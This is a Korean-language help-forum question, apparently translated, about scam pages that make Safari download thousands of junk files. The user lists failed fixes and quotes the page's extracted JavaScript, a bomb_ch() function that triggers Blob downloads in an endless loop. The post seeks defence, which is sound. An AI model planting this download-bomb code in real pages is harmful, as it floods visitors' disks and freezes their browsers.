배경
많은 "질문이있는"사이트 (영화 사이트 등)에 새로운 스팸 페이지가 나타나기 시작했습니다. 이 새로운 스팸 페이지는 가짜 스캔 범주, MacKeeper, "YOU HAVE A VIRUS"등의 범주에 적합합니다.
문제
이 새 페이지의 문제점은 팝업 만있는 대신 페이지가 실제로 ~ 1ms마다 임의의 2kb (임의의 텍스트 만 포함하는) 파일을 반복적으로 다운로드하기 시작한다는 것입니다. 창을 닫고 1000 개가 넘는 파일을 삭제하기 전에 다운로드 폴더가 채워집니다. 페이지 스팸으로 인해 인쇄 대화 상자가 나타나는 유사한 문제와 달리 반응 할 시간이 거의 없습니다.
실패한 문제 해결 시도
다운로드 폴더를 잠그려고했습니다. 다운로드가 ... 잘못 ... 다운로드되는 것을 막 으면서 대화 상자 (이미지 참조)가 나타납니다. 일반적 으로이 대화 상자를 닫을 수는 있지만 ~ 1ms마다 다운로드가 시도되므로 닫을 때마다 새 대화 상자가 나타나서 창을 닫을 수 없습니다.
Safari를 강제 종료하면 다운로드가 중단되지만 (1k 다운로드 후) 다른 모든 창을 느슨하게합니다.
Safari 환경 설정에서 설정을 '각 다운로드마다 요청'으로 변경합니다. 1k의 개별 대화 상자가 열리면 탭을 닫을 수 없으므로 작동하지 않습니다. 결국 사파리가 충돌합니다.
질문
Safari에서 스팸 다운로드를 방지하려면 어떻게해야합니까?
최신 정보:
다운로드를 유발하는 코드는 다음과 같습니다 (JavaScript를 비활성화하고 코드를 수동으로 살펴봄으로써 얻음).
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
참고 : 사용자 정의 페이지에서 JS를 실행하는 데 문제가 있습니다. 다운로드하는 대신 얼어 붙었습니다. setInterval()
함수를 호출하는 함수 를 사용하여 다운로드를 에뮬레이트 할 수있었습니다 download
.